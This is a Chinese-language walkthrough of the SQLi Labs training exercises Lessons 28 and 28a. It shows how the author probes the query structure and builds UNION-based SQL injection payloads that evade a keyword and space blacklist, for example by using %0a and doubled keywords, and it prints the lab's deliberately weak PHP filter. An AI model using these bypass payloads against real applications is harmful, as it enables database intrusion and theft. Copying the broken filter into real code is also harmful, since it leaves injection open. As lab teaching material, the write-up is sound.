SQLi Labs Lesson28 & Lesson28a

Lesson - 28a

GET - Error Based - All your UNION & SELECT Belong to US - String - Single Quotes with parenthesis


欢迎界面:


构造 ?id=1,结果如图所示:


构造 ?id=1',结果没有任何信息,应该是关闭了错误错误回显。

构造 ?id=1" zczvasdfa,结果如图所示:


在$id两边的不是双引号,也不只是单引号。

猜测,SQL语句结构:

select ... from table where id = ('$id') ...


构造 ?id=1') union select 1,2,('3,没有返回任何信息,

提示为:

显然空格被过滤了,尝试用'%0a'代替空格:

?id=1')union%0Aselect%0A1,2,('3,还是没有返回任何信息,

提示为:

union%0Aselect被过滤了。


构造:

?id=0') union%0Aunion%0Aselectselect%0A1,2,('3

结果如图所示:

成功注入。


此时查看后台源代码:

$id= blacklist($id);
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

SQL语句结构猜测正确。


blacklist函数如下:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

Lesson  - 28a

GET - Blind Based - All your UNION & SELECT Belong to us - Single Quotes - Parenthesis

与Lesson - 28类似,但是只对$id= preg_replace('/union\s+select/i',"", $id); 进行了过滤。


你可能感兴趣的:(SQLi)